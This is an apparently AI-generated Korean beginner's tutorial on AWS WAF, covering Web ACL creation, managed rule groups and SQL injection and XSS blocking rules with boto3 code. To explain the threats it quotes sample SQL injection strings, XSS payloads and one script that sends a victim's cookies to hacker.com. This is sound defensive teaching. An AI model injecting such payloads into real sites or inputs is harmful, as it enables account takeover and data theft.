본 콘텐츠의 이미지 및 내용은 AI로 생성되었습니다.
본 콘텐츠의 이미지 및 내용을 무단으로 복제, 배포, 수정하여 사용할 경우 저작권법에 의해 법적 제재를 받을 수 있습니다.
이미지 로딩 중...
AI Generated
2025. 12. 20. · 6 Views
AWS WAF 웹 방화벽 완벽 가이드
웹 애플리케이션을 악의적인 공격으로부터 보호하는 AWS WAF의 핵심 개념과 실무 활용법을 초급 개발자도 쉽게 이해할 수 있도록 풀어낸 가이드입니다. SQL Injection, XSS 공격 방어부터 속도 제한까지 실전 예제로 배웁니다.
목차
1. WAF란 무엇인가
어느 날 김개발 씨는 회사 웹사이트 로그를 보다가 깜짝 놀랐습니다. 수상한 SQL 쿼리들이 계속해서 들어오고 있었던 것입니다.
"이거 해킹 시도 아닌가요?" 급하게 선배 박시니어 씨에게 물었습니다.
AWS WAF는 Web Application Firewall의 약자로, 웹 애플리케이션을 악의적인 공격으로부터 보호하는 서비스입니다. 마치 건물 입구의 보안 검색대처럼, 모든 웹 요청을 검사하여 위험한 트래픽을 차단합니다.
CloudFront, ALB, API Gateway 앞단에 배치하여 실시간으로 위협을 막아냅니다.
다음 코드를 살펴봅시다.
import boto3
# WAF 클라이언트 생성
waf_client = boto3.client('wafv2', region_name='us-east-1')
# WAF 정보 조회
response = waf_client.list_web_acls(
Scope='CLOUDFRONT', # CloudFront용 WAF
Limit=100
)
# 등록된 Web ACL 목록 출력
for web_acl in response['WebACLs']:
print(f"WAF 이름: {web_acl['Name']}")
print(f"ARN: {web_acl['ARN']}")
김개발 씨는 입사 6개월 차 백엔드 개발자입니다. 오늘 아침 출근하자마자 모니터링 알림이 울렸습니다.
웹사이트에 이상한 요청들이 계속 들어오고 있다는 내용이었습니다. 로그를 자세히 살펴보니, 누군가 데이터베이스를 공격하려는 시도를 반복하고 있었습니다.
"SELECT * FROM users WHERE..."같은 SQL 쿼리가 URL 파라미터에 포함되어 있었습니다. 박시니어 씨가 김개발 씨의 모니터를 보더니 한숨을 쉬었습니다.
"역시 또 시작이네요. 이래서 WAF가 필요한 거예요." WAF가 없던 시절의 문제 예전에는 이런 공격을 막기 위해 애플리케이션 코드에서 직접 모든 입력값을 검증해야 했습니다.
개발자가 실수로 한 군데라도 놓치면 그것이 바로 보안 취약점이 되었습니다. 더 큰 문제는 새로운 공격 패턴이 계속 등장한다는 것이었습니다.
개발자가 이 모든 패턴을 일일이 공부하고 대응 코드를 작성하기란 불가능에 가까웠습니다. 또한 대규모 공격이 들어오면 서버 자원이 모두 소진되어 정상적인 사용자까지 서비스를 이용할 수 없게 되는 일도 빈번했습니다.
WAF의 등장 바로 이런 문제를 해결하기 위해 WAF가 등장했습니다. WAF를 쉽게 비유하자면, 공항의 보안 검색대와 같습니다.
모든 승객이 비행기에 타기 전에 보안 검색을 거치듯이, 모든 웹 요청이 애플리케이션 서버에 도달하기 전에 WAF의 검사를 거칩니다. 위험한 물건을 가진 승객은 보안 검색대에서 걸러지듯이, 악의적인 패턴을 포함한 요청은 WAF에서 차단됩니다.
정상적인 승객만 비행기에 탑승하듯이, 안전한 요청만 애플리케이션 서버에 도달합니다. AWS WAF의 작동 원리 AWS WAF는 CloudFront, Application Load Balancer, API Gateway 앞단에 배치됩니다.
사용자의 요청이 들어오면 가장 먼저 WAF가 검사합니다. WAF는 Web ACL(Access Control List)이라는 규칙 집합을 가지고 있습니다.
이 규칙들을 하나씩 확인하면서 요청을 허용할지 차단할지 결정합니다. 예를 들어 "SQL Injection 패턴이 포함된 요청은 차단한다", "초당 100회 이상 요청하는 IP는 차단한다"같은 규칙을 설정할 수 있습니다.
실무에서의 활용 실제 쇼핑몰 서비스를 운영한다고 가정해봅시다. 어느 날 경쟁사에서 악의적으로 크롤링 봇을 돌려서 모든 상품 정보를 긁어가려 한다면 어떻게 될까요?
WAF 없이는 서버 자원이 모두 소진되어 정상 고객들이 쇼핑을 할 수 없게 됩니다. 하지만 WAF에 속도 제한 규칙을 설정해두면, 비정상적으로 빠른 요청을 보내는 IP를 자동으로 차단합니다.
또한 관리형 규칙 그룹을 활용하면 AWS가 자동으로 업데이트하는 최신 공격 패턴을 바로 적용할 수 있습니다. 개발자가 일일이 보안 뉴스를 찾아보지 않아도 됩니다.
비용 구조 AWS WAF는 사용한 만큼만 비용을 지불합니다. Web ACL 하나당 월 5달러, 규칙 하나당 월 1달러, 그리고 처리한 요청 100만 건당 0.6달러입니다.
작은 서비스라면 월 10-20달러 정도면 충분하고, 큰 서비스라도 보안 침해로 인한 손실에 비하면 매우 저렴한 비용입니다. 김개발 씨의 선택 박시니어 씨의 설명을 들은 김개발 씨는 바로 WAF 도입을 결심했습니다.
"이거 정말 필요한 서비스네요. 빨리 적용해야겠어요!" WAF는 단순히 공격을 막는 것을 넘어서, 개발자가 비즈니스 로직에 집중할 수 있게 해주는 고마운 서비스입니다.
보안 전문가가 없는 스타트업에서는 특히 더 가치가 큽니다.
실전 팁
💡 - WAF는 CloudFront, ALB, API Gateway 중 하나와 연결해야 작동합니다
- 처음에는 Count 모드로 설정하여 어떤 요청이 차단될지 미리 확인하세요
- AWS가 제공하는 관리형 규칙 그룹을 우선 활용하면 빠르게 적용 가능합니다
2. Web ACL 생성
WAF를 도입하기로 결심한 김개발 씨는 AWS 콘솔을 열었습니다. 그런데 첫 화면부터 낯선 용어들이 가득했습니다.
"Web ACL이 뭐지? Rule이랑 Rule Group은 또 뭐가 다른 거야?" 박시니어 씨에게 다시 도움을 청했습니다.
Web ACL은 WAF의 핵심 구성 요소로, 여러 보안 규칙들을 모아놓은 컨테이너입니다. 마치 회사의 보안 정책 문서처럼, 어떤 트래픽을 허용하고 차단할지 정의합니다.
CloudFront나 ALB 같은 AWS 리소스에 연결하여 실제로 작동하게 만듭니다.
다음 코드를 살펴봅시다.
import boto3
waf = boto3.client('wafv2', region_name='us-east-1')
# Web ACL 생성
response = waf.create_web_acl(
Name='MyProductionWAF',
Scope='CLOUDFRONT', # CLOUDFRONT 또는 REGIONAL
DefaultAction={'Allow': {}}, # 기본 동작: 허용
Description='프로덕션 환경 WAF',
Rules=[], # 규칙은 나중에 추가
VisibilityConfig={
'SampledRequestsEnabled': True, # 샘플 요청 저장
'CloudWatchMetricsEnabled': True, # CloudWatch 메트릭 활성화
'MetricName': 'MyProductionWAF'
}
)
print(f"Web ACL 생성 완료: {response['Summary']['ARN']}")
김개발 씨가 처음 AWS WAF 콘솔에 접속했을 때, 가장 먼저 만나는 것이 바로 Web ACL 생성 화면입니다. "ACL이 뭔가요?"라고 묻자 박시니어 씨가 친절하게 설명해주었습니다.
"Access Control List의 약자예요. 쉽게 말하면 보안 규칙들을 담는 큰 상자라고 생각하면 됩니다." Web ACL을 회사 보안 정책에 비유하기 회사에 보안 정책 문서가 있다고 생각해봅시다.
"외부인은 출입증 없이 입장 불가", "퇴근 시 컴퓨터 전원 종료", "USB 사용 금지" 같은 규칙들이 적혀 있습니다. Web ACL도 마찬가지입니다.
"SQL Injection 패턴 차단", "IP 주소별 속도 제한", "특정 국가 차단" 같은 보안 규칙들을 모아놓은 문서입니다. 회사 보안 정책이 실제로 적용되려면 보안팀이 지켜봐야 하듯이, Web ACL도 CloudFront나 ALB 같은 리소스에 연결되어야 실제로 작동합니다.
Scope 선택의 중요성 Web ACL을 생성할 때 가장 먼저 선택해야 하는 것이 Scope입니다. CLOUDFRONT와 REGIONAL 두 가지 옵션이 있습니다.
CLOUDFRONT는 글로벌 서비스를 보호할 때 사용합니다. 전 세계 엣지 로케이션에서 요청을 검사하므로 가장 빠릅니다.
단, 반드시 us-east-1 리전에서 생성해야 합니다. REGIONAL은 특정 리전의 ALB나 API Gateway를 보호할 때 사용합니다.
예를 들어 ap-northeast-2(서울)에 있는 ALB를 보호하려면 서울 리전에서 REGIONAL Web ACL을 만들어야 합니다. 김개발 씨의 서비스는 CloudFront를 사용하고 있었으므로 CLOUDFRONT를 선택했습니다.
Default Action의 철학 Web ACL을 만들 때 DefaultAction을 설정해야 합니다. Allow와 Block 중 하나를 선택하는데, 이것은 보안 철학을 결정하는 중요한 선택입니다.
DefaultAction이 Allow라는 것은 "규칙에 명시된 것만 차단하고 나머지는 모두 허용"한다는 뜻입니다. 마치 "금지된 것만 하지 마세요"라는 규칙과 같습니다.
대부분의 경우 이 방식을 사용합니다. 반대로 Block으로 설정하면 "규칙에 명시된 것만 허용하고 나머지는 모두 차단"합니다.
"허용된 것만 하세요"라는 엄격한 정책입니다. 매우 높은 보안이 필요한 경우에만 사용합니다.
VisibilityConfig의 실전 활용 VisibilityConfig는 모니터링과 디버깅을 위한 설정입니다. 세 가지 옵션을 모두 활성화하는 것을 강력히 추천합니다.
SampledRequestsEnabled를 켜면 차단된 요청의 샘플을 저장합니다. 나중에 "왜 이 요청이 차단됐지?"라고 궁금할 때 확인할 수 있습니다.
CloudWatchMetricsEnabled를 켜면 차단된 요청 수, 허용된 요청 수 같은 통계를 CloudWatch에서 볼 수 있습니다. 그래프로 공격 패턴을 분석할 수 있어서 매우 유용합니다.
실무에서의 생성 전략 실제 서비스에서는 환경별로 Web ACL을 분리하는 것이 좋습니다. 개발 환경용, 스테이징용, 프로덕션용으로 각각 만드는 것입니다.
개발 환경에서는 규칙을 느슨하게 설정하여 개발자가 자유롭게 테스트할 수 있게 합니다. 반면 프로덕션은 엄격하게 설정합니다.
또한 처음 Web ACL을 만들 때는 규칙을 비워둔 채로 생성합니다. 위 코드처럼 Rules를 빈 배열로 두는 것입니다.
규칙은 나중에 하나씩 추가하면서 테스트하는 것이 안전합니다. CloudFront에 연결하기 Web ACL을 만들었다면 CloudFront 배포에 연결해야 합니다.
CloudFront 콘솔에서 배포를 선택하고, AWS WAF 섹션에서 방금 만든 Web ACL을 선택하면 됩니다. 연결 후 약 1-2분 정도 지나면 실제로 WAF가 작동하기 시작합니다.
CloudWatch 메트릭을 확인하여 요청이 제대로 처리되는지 모니터링할 수 있습니다. 김개발 씨의 첫 Web ACL 김개발 씨는 박시니어 씨의 가이드를 따라 첫 Web ACL을 성공적으로 생성했습니다.
"생각보다 간단하네요!" 하지만 박시니어 씨는 말했습니다. "진짜 어려운 건 지금부터예요.
어떤 규칙을 추가할지가 핵심이거든요." Web ACL은 단순히 만드는 것보다 적절한 규칙을 설정하는 것이 훨씬 중요합니다. 다음 단계에서 실전 규칙들을 배워봅시다.
실전 팁
💡 - CLOUDFRONT Scope는 반드시 us-east-1 리전에서 생성해야 합니다
- 처음에는 Count 모드로 규칙을 추가하여 실제 차단 전에 영향을 미리 분석하세요
- 환경별로 Web ACL을 분리하여 관리하는 것이 유지보수에 유리합니다
3. 관리형 규칙 그룹
Web ACL을 만든 김개발 씨는 이제 규칙을 추가해야 했습니다. "SQL Injection을 막으려면 어떤 패턴을 찾아야 하지?
XSS는 또 어떻게 탐지하지?" 검색해보니 공격 패턴이 수백 가지나 되었습니다. 막막해진 김개발 씨에게 박시니어 씨가 말했습니다.
"직접 만들 필요 없어요. AWS가 다 만들어뒀어요."
관리형 규칙 그룹은 AWS와 보안 전문 업체들이 미리 만들어둔 규칙 세트입니다. 마치 바이러스 백신의 정의 파일처럼, 최신 공격 패턴을 자동으로 업데이트해줍니다.
몇 번의 클릭만으로 SQL Injection, XSS, 봇 공격 등 대부분의 웹 공격을 막을 수 있습니다.
다음 코드를 살펴봅시다.
import boto3
waf = boto3.client('wafv2', region_name='us-east-1')
# 관리형 규칙 그룹 추가
response = waf.update_web_acl(
Name='MyProductionWAF',
Scope='CLOUDFRONT',
Id='your-web-acl-id', # Web ACL ID
LockToken='your-lock-token', # Lock Token
DefaultAction={'Allow': {}},
Rules=[
{
'Name': 'AWSManagedRulesCommonRuleSet',
'Priority': 1, # 우선순위 (낮을수록 먼저 실행)
'Statement': {
'ManagedRuleGroupStatement': {
'VendorName': 'AWS', # AWS 관리형 규칙
'Name': 'AWSManagedRulesCommonRuleSet' # Core Rule Set
}
},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'CommonRuleSet'
},
'OverrideAction': {'None': {}} # 관리형 규칙은 OverrideAction 사용
}
],
VisibilityConfig={
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'MyProductionWAF'
}
)
김개발 씨는 보안 전문가가 아닙니다. SQL Injection의 수십 가지 변종 패턴을 어떻게 다 알 수 있을까요?
XSS 공격의 최신 기법은 또 어떻게 따라잡을까요? 바로 이런 고민을 해결하기 위해 관리형 규칙 그룹이 존재합니다.
박시니어 씨가 설명했습니다. "AWS 보안팀이 우리 대신 24시간 공격 패턴을 연구하고, 규칙을 업데이트해줘요.
우리는 그냥 가져다 쓰기만 하면 됩니다." 바이러스 백신과의 유사성 관리형 규칙 그룹을 이해하는 가장 쉬운 방법은 바이러스 백신에 비유하는 것입니다. 우리가 컴퓨터에 백신 프로그램을 설치하면, 백신 회사가 새로운 바이러스를 발견할 때마다 정의 파일을 업데이트해줍니다.
우리는 바이러스의 상세한 작동 원리를 몰라도 됩니다. 백신 회사의 전문가들이 그것을 연구하고, 우리는 그들이 만든 정의 파일을 다운로드하여 보호받습니다.
관리형 규칙 그룹도 정확히 같은 방식입니다. AWS 보안 전문가들이 새로운 공격 패턴을 발견하면 규칙을 업데이트하고, 우리는 자동으로 그 보호를 받습니다.
AWS 제공 핵심 규칙 그룹들 AWS가 제공하는 대표적인 관리형 규칙 그룹은 다음과 같습니다. AWSManagedRulesCommonRuleSet은 가장 기본적이고 필수적인 규칙들을 담고 있습니다.
Core Rule Set이라고도 부르며, 모든 Web ACL에 우선적으로 추가해야 합니다. SQL Injection, XSS, Local File Inclusion 같은 대표적인 공격들을 막아줍니다.
AWSManagedRulesKnownBadInputsRuleSet은 알려진 악성 패턴을 차단합니다. CVE로 등록된 취약점을 악용하는 시도들을 막아줍니다.
AWSManagedRulesSQLiRuleSet은 SQL Injection 공격에 특화된 규칙 그룹입니다. Common Rule Set보다 더 깊이 있게 SQL Injection을 탐지합니다.
AWSManagedRulesLinuxRuleSet과 AWSManagedRulesUnixRuleSet은 Linux/Unix 시스템을 대상으로 하는 공격을 막습니다. 백엔드가 Linux 서버라면 추가하는 것이 좋습니다.
Priority의 중요성 규칙에는 Priority라는 우선순위가 있습니다. 숫자가 낮을수록 먼저 실행됩니다.
예를 들어 Priority 1인 규칙이 Priority 10인 규칙보다 먼저 실행됩니다. 왜 순서가 중요할까요?
어떤 규칙이 요청을 차단하면, 그 뒤의 규칙들은 실행되지 않기 때문입니다. 마치 if-else 문에서 먼저 조건이 맞으면 뒤의 조건을 보지 않는 것과 같습니다.
일반적으로 IP 화이트리스트 같은 "허용" 규칙을 가장 먼저 두고, 그다음 Common Rule Set, 마지막으로 특화된 규칙들을 배치합니다. OverrideAction vs Action 코드를 보면 일반 규칙과 달리 OverrideAction을 사용하는 것을 볼 수 있습니다.
이것은 관리형 규칙 그룹의 특별한 점입니다. 관리형 규칙 그룹 내부의 각 규칙들은 이미 Action(Block, Allow, Count)이 정해져 있습니다.
OverrideAction은 "그 액션을 그대로 따를 것인지, 아니면 무시할 것인지"를 결정합니다. {'None': {}}는 "관리형 규칙의 액션을 그대로 따르겠다"는 뜻입니다.
대부분의 경우 이렇게 설정합니다. 만약 {'Count': {}}로 설정하면 모든 규칙이 차단 대신 카운트만 하게 됩니다.
실무 적용 전략 실제 서비스에 관리형 규칙을 적용할 때는 신중해야 합니다. 갑자기 추가하면 정상적인 요청까지 차단될 수 있기 때문입니다.
첫 번째 단계는 Count 모드로 규칙을 추가하는 것입니다. OverrideAction을 Count로 설정하면 실제로 차단하지 않고, "만약 차단했다면 몇 건이었을까?"만 기록합니다.
1-2주 정도 Count 모드로 운영하면서 CloudWatch 메트릭을 모니터링합니다. 정상 트래픽이 차단되는 경우가 없는지 확인합니다.
문제가 없다면 그때 OverrideAction을 None으로 바꿔서 실제로 차단하게 만듭니다. 비용 고려사항 관리형 규칙 그룹은 무료가 아닙니다.
규칙 그룹마다 월 비용이 다릅니다. Common Rule Set은 약 월 10달러, SQL Injection 규칙 그룹은 월 10달러입니다.
여러 개를 추가하면 비용이 쌓이므로, 서비스에 꼭 필요한 것만 선택해야 합니다. 대부분의 경우 Common Rule Set과 Known Bad Inputs 정도면 충분합니다.
김개발 씨의 선택 김개발 씨는 우선 Common Rule Set을 Count 모드로 추가했습니다. 일주일 동안 모니터링한 결과 정상 트래픽은 전혀 영향받지 않았고, 수상한 요청 약 50건이 탐지되었습니다.
자신감을 얻은 김개발 씨는 실제 차단 모드로 전환했습니다. "이렇게 간단하게 보안을 강화할 수 있다니!" 관리형 규칙 그룹은 보안 전문가가 없는 팀의 구세주입니다.
전문가의 지식을 빌려서 서비스를 안전하게 지킬 수 있습니다.
실전 팁
💡 - 처음에는 반드시 Count 모드로 시작하여 정상 트래픽 차단 여부를 확인하세요
- Common Rule Set은 거의 모든 서비스에 필수입니다
- 비용을 고려하여 서비스에 필요한 규칙 그룹만 선택적으로 추가하세요
4. SQL Injection 방어
어느 날 김개발 씨는 로그에서 이상한 쿼리를 발견했습니다. id=1' OR '1'='1 같은 문자열이 URL 파라미터로 들어오고 있었습니다.
"이게 바로 SQL Injection 공격이구나!" 다행히 WAF가 모두 차단했지만, 만약 없었다면 어땠을까요? 등골이 오싹해졌습니다.
SQL Injection은 데이터베이스 쿼리에 악의적인 SQL 코드를 삽입하여 데이터를 탈취하거나 조작하는 공격입니다. WAF의 SQL Injection 방어 규칙은 요청에 포함된 SQL 패턴을 탐지하여 차단합니다.
쿼리 파라미터, 헤더, 바디 등 모든 입력값을 검사하여 데이터베이스를 보호합니다.
다음 코드를 살펴봅시다.
import boto3
waf = boto3.client('wafv2', region_name='us-east-1')
# SQL Injection 방어 규칙 추가
sql_injection_rule = {
'Name': 'BlockSQLInjection',
'Priority': 2,
'Statement': {
'SqliMatchStatement': { # SQL Injection 매칭 규칙
'FieldToMatch': {
'AllQueryArguments': {} # 모든 쿼리 파라미터 검사
},
'TextTransformations': [ # 변환 후 검사
{'Priority': 0, 'Type': 'URL_DECODE'}, # URL 디코딩
{'Priority': 1, 'Type': 'HTML_ENTITY_DECODE'} # HTML 엔티티 디코딩
]
}
},
'Action': {'Block': {}}, # 탐지 시 차단
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'SQLInjectionRule'
}
}
# 규칙을 기존 Web ACL에 추가
# update_web_acl 호출 시 Rules 배열에 포함
김개발 씨가 개발한 쇼핑몰에는 상품 검색 기능이 있습니다. 사용자가 검색어를 입력하면 데이터베이스에서 해당 상품을 찾아 보여줍니다.
어느 날 한 해커가 검색창에 ' OR '1'='1이라는 이상한 문자를 입력했습니다. 만약 백엔드 코드가 이것을 제대로 처리하지 못한다면 어떻게 될까요?
SQL Injection의 작동 원리 정상적인 SQL 쿼리는 이렇습니다. SELECT * FROM products WHERE name = '사용자입력값' 사용자가 "노트북"을 검색하면 SELECT * FROM products WHERE name = '노트북'이 실행됩니다.
정상적으로 노트북 상품들이 조회됩니다. 그런데 해커가 노트북' OR '1'='1을 입력하면 어떻게 될까요?
쿼리는 SELECT * FROM products WHERE name = '노트북' OR '1'='1'이 됩니다. '1'='1'은 항상 참이므로, OR 연산에 의해 모든 상품이 조회됩니다.
심지어 '; DROP TABLE products; --같은 입력으로 테이블을 삭제할 수도 있습니다. WAF의 SQL Injection 탐지 메커니즘 WAF는 요청의 모든 부분을 검사하여 SQL 패턴을 찾아냅니다.
SqliMatchStatement가 바로 이 역할을 합니다. FieldToMatch는 어느 부분을 검사할지 지정합니다.
AllQueryArguments는 모든 URL 쿼리 파라미터를 검사합니다. ?id=1&name=test에서 id와 name 모두를 검사하는 것입니다.
다른 옵션도 있습니다. Body는 POST 요청의 본문을, UriPath는 URL 경로를, Headers는 HTTP 헤더를 검사합니다.
필요에 따라 여러 규칙을 만들어 각각 다른 부분을 검사할 수 있습니다. TextTransformations의 중요성 영리한 해커들은 단순한 SQL 패턴 매칭을 우회하기 위해 인코딩을 사용합니다.
예를 들어 ' OR '1'='1을 URL 인코딩하면 %27%20OR%20%271%27%3D%271이 됩니다. TextTransformations는 이런 우회 시도를 막습니다.
요청을 검사하기 전에 먼저 변환을 적용하는 것입니다. URL_DECODE는 URL 인코딩을 해제합니다.
%27이 '로 변환되어 SQL 패턴이 드러납니다. HTML_ENTITY_DECODE는 ' 같은 HTML 엔티티를 '로 변환합니다.
여러 변환을 순서대로 적용할 수 있습니다. Priority가 낮은 것부터 먼저 실행됩니다.
위 코드에서는 먼저 URL 디코딩, 그다음 HTML 엔티티 디코딩 순서로 처리됩니다. Body와 Header도 검사하기 실전에서는 쿼리 파라미터만 검사하는 것으로 충분하지 않습니다.
POST 요청의 Body나 커스텀 헤더에도 SQL Injection 시도가 숨어있을 수 있습니다. 예를 들어 로그인 API는 {"username": "admin", "password": "' OR '1'='1"} 같은 JSON을 받을 수 있습니다.
이것을 막으려면 Body를 검사하는 별도 규칙이 필요합니다. 'FieldToMatch': {'Body': {}}로 설정하면 POST, PUT 요청의 본문을 검사합니다.
JSON, XML, 폼 데이터 모두 검사 가능합니다. 관리형 규칙과의 조합 사실 Common Rule Set에도 SQL Injection 탐지 기능이 포함되어 있습니다.
그렇다면 별도로 SQL Injection 규칙을 만들 필요가 있을까요? Common Rule Set은 범용적인 패턴을 탐지합니다.
대부분의 공격은 막아주지만, 특정 패턴은 놓칠 수 있습니다. 더 강력한 보호가 필요하다면 AWSManagedRulesSQLiRuleSet이라는 전용 관리형 규칙을 추가하거나, 위 코드처럼 커스텀 규칙을 만들 수 있습니다.
커스텀 규칙의 장점은 서비스 특성에 맞게 세밀하게 조정할 수 있다는 것입니다. 예를 들어 검색 기능이 없는 API라면 쿼리 파라미터는 검사하지 않고 Body만 검사할 수 있습니다.
False Positive 처리 SQL Injection 규칙은 때때로 정상적인 요청도 차단할 수 있습니다. 예를 들어 블로그에서 "SQL Injection이란?"이라는 글을 검색하면, 제목에 SQL이라는 단어가 들어있어 차단될 수 있습니다.
이런 경우를 False Positive(잘못된 긍정)라고 합니다. 실제로는 공격이 아닌데 공격으로 오인한 것입니다.
False Positive가 발생하면 규칙에 예외를 추가해야 합니다. 특정 URL 경로는 검사에서 제외하거나, 특정 문자열 패턴은 허용하는 식으로 조정합니다.
실제 차단 사례 김개발 씨의 서비스에 SQL Injection 규칙을 적용한 후, 일주일 동안 약 30건의 공격 시도가 차단되었습니다. CloudWatch 메트릭을 보니 대부분 새벽 시간대에 집중되어 있었습니다.
샘플 요청을 확인해보니 중국, 러시아 등 다양한 국가에서 자동화된 스크립트로 공격을 시도하고 있었습니다. 만약 WAF가 없었다면 데이터베이스가 노출되었을 것입니다.
개발자의 책임 WAF는 강력한 방어 수단이지만, 만능은 아닙니다. 개발자는 여전히 코드 레벨에서 Prepared Statement를 사용하고, 입력값 검증을 해야 합니다.
WAF는 "깊이 있는 방어(Defense in Depth)"의 한 층입니다. 첫 번째 방어선이 WAF, 두 번째가 애플리케이션 코드, 세 번째가 데이터베이스 권한 설정입니다.
모든 층이 함께 작동해야 진정으로 안전합니다.
실전 팁
💡 - 쿼리 파라미터뿐만 아니라 Body, Header도 검사하는 규칙을 추가하세요
- TextTransformations를 반드시 적용하여 인코딩 우회를 막으세요
- False Positive 발생 시 규칙을 조정하되, 너무 느슨하게 만들지 마세요
5. XSS 방어
김개발 씨의 쇼핑몰에는 상품 리뷰 기능이 있습니다. 사용자들이 자유롭게 후기를 작성할 수 있는데, 어느 날 한 리뷰에 <script>alert('해킹')</script> 같은 코드가 포함되어 있었습니다.
"이게 바로 XSS 공격이구나!" WAF 로그를 확인하니 차단된 것을 보고 안도의 한숨을 쉬었습니다.
XSS(Cross-Site Scripting)는 악의적인 자바스크립트 코드를 웹페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다. WAF의 XSS 방어 규칙은 HTML, 자바스크립트 패턴을 탐지하여 차단합니다.
사용자 입력을 받는 모든 곳에서 스크립트 삽입을 막아 브라우저 보안을 지킵니다.
다음 코드를 살펴봅시다.
import boto3
waf = boto3.client('wafv2', region_name='us-east-1')
# XSS 방어 규칙 추가
xss_rule = {
'Name': 'BlockXSS',
'Priority': 3,
'Statement': {
'XssMatchStatement': { # XSS 매칭 규칙
'FieldToMatch': {
'Body': {} # POST 요청 본문 검사 (리뷰, 댓글 등)
},
'TextTransformations': [
{'Priority': 0, 'Type': 'URL_DECODE'},
{'Priority': 1, 'Type': 'HTML_ENTITY_DECODE'},
{'Priority': 2, 'Type': 'LOWERCASE'} # 대소문자 우회 방지
]
}
},
'Action': {'Block': {}},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'XSSRule'
}
}
# 쿼리 파라미터도 검사하는 추가 규칙
xss_query_rule = {
'Name': 'BlockXSSInQuery',
'Priority': 4,
'Statement': {
'XssMatchStatement': {
'FieldToMatch': {
'AllQueryArguments': {} # URL 파라미터 검사
},
'TextTransformations': [
{'Priority': 0, 'Type': 'URL_DECODE'},
{'Priority': 1, 'Type': 'HTML_ENTITY_DECODE'}
]
}
},
'Action': {'Block': {}},
'VisibilityConfig': {
'SampledRequestsEnabled': True,
'CloudWatchMetricsEnabled': True,
'MetricName': 'XSSQueryRule'
}
}
김개발 씨의 쇼핑몰은 사용자 참여형 서비스입니다. 리뷰를 작성하고, 댓글을 달고, 문의 게시판에 글을 쓸 수 있습니다.
이런 기능들은 서비스를 풍성하게 만들지만, 동시에 XSS 공격의 통로가 될 수 있습니다. XSS 공격의 시나리오 어느 날 해커가 상품 리뷰에 이런 내용을 작성했다고 가정해봅시다.
"정말 좋은 상품이에요! <script>document.location='http://hacker.com?cookie='+document.cookie</script>" 만약 이 리뷰가 그대로 저장되고 다른 사용자의 브라우저에 표시된다면, <script> 태그가 실행됩니다.
사용자의 쿠키가 해커의 서버로 전송되고, 해커는 그 쿠키로 사용자 계정에 로그인할 수 있게 됩니다. 더 심각한 경우, 사용자 몰래 상품을 구매하거나, 개인정보를 탈취하거나, 악성 파일을 다운로드하게 만들 수도 있습니다.
피해자는 평범하게 쇼핑몰을 둘러보기만 했을 뿐인데 공격당합니다. XSS의 세 가지 유형 Stored XSS는 악성 스크립트가 데이터베이스에 저장되는 경우입니다.
위의 리뷰 예시가 이 경우입니다. 가장 위험한 유형으로, 해당 페이지를 보는 모든 사용자가 피해를 입습니다.
Reflected XSS는 URL 파라미터로 전달된 스크립트가 즉시 반사되어 실행되는 경우입니다. 예를 들어 ?search=<script>alert(1)</script>같은 URL을 클릭하면 스크립트가 실행됩니다.
해커가 피싱 메일로 이런 링크를 보내는 식으로 공격합니다. DOM-based XSS는 자바스크립트가 DOM을 조작하면서 발생하는 XSS입니다.
서버가 아닌 브라우저 단에서만 발생하므로 WAF로 막기 어렵습니다. WAF의 XSS 탐지 방법 WAF는 XssMatchStatement를 사용하여 XSS 패턴을 탐지합니다.
<script>, onerror=, javascript: 같은 위험한 문자열을 찾아냅니다. 단순히 문자열 매칭만 하는 것이 아닙니다.
AWS는 수천 가지 XSS 우회 패턴을 데이터베이스화하여 지속적으로 업데이트합니다. <ScRiPt> 같은 대소문자 조합, <img src=x onerror=alert(1)> 같은 이벤트 핸들러, javascript:alert(1) 같은 프로토콜 등을 모두 탐지합니다.
Body vs Query Arguments XSS 공격은 주로 두 곳에서 발생합니다. 하나는 POST 요청의 Body, 다른 하나는 URL의 쿼리 파라미터입니다.
리뷰나 댓글 같은 사용자 입력은 대부분 POST 요청으로 전송됩니다. 따라서 Body를 검사하는 규칙이 필수입니다.
위 코드의 첫 번째 규칙이 이 역할을 합니다. 검색 기능처럼 GET 요청을 사용하는 경우도 있습니다.
?q=<script>alert(1)</script> 같은 URL로 Reflected XSS를 시도할 수 있으므로, 쿼리 파라미터를 검사하는 규칙도 필요합니다. 두 번째 규칙이 이것을 담당합니다.
TextTransformations의 역할 해커들은 탐지를 우회하기 위해 다양한 인코딩 기법을 사용합니다. <script>를 %3Cscript%3E로 URL 인코딩하거나, <script>로 HTML 엔티티 인코딩합니다.
또한 <sCrIpT> 같은 대소문자 조합으로 필터를 우회하려 시도합니다. 브라우저는 대소문자를 구분하지 않으므로 이것도 실행됩니다.
TextTransformations는 이런 우회를 막습니다. URL_DECODE로 인코딩을 해제하고, HTML_ENTITY_DECODE로 엔티티를 변환하고, LOWERCASE로 모두 소문자로 만든 후 패턴을 검사합니다.
관리형 규칙과의 비교 Common Rule Set에도 XSS 방어 기능이 포함되어 있습니다. 그렇다면 커스텀 규칙을 따로 만들 필요가 있을까요?
관리형 규칙은 범용적으로 설계되어 있습니다. 다양한 서비스에 적용할 수 있지만, 특정 서비스에 최적화되어 있지는 않습니다.
예를 들어 김개발 씨의 쇼핑몰은 리뷰 기능이 핵심입니다. POST Body에 대한 XSS 검사를 강화하고 싶다면, 커스텀 규칙을 추가하는 것이 좋습니다.
반대로 사용자 입력이 거의 없는 단순한 웹사이트라면 관리형 규칙만으로도 충분합니다. False Positive 사례 XSS 규칙도 False Positive가 발생할 수 있습니다.
예를 들어 개발자 커뮤니티에서 누군가 "React에서 <script> 태그 사용법"이라는 질문을 작성하면 차단될 수 있습니다. 코드 공유 플랫폼이나 개발 블로그처럼 정당하게 코드를 입력하는 경우도 있습니다.
이런 경우 특정 경로나 사용자 그룹에 대해 예외를 설정해야 합니다. 하지만 예외를 너무 많이 추가하면 보안이 약해집니다.
정말 필요한 경우에만 신중하게 예외를 만들어야 합니다. 실제 차단 통계 김개발 씨의 서비스에 XSS 규칙을 적용한 후, 한 달 동안 약 15건의 XSS 시도가 차단되었습니다.
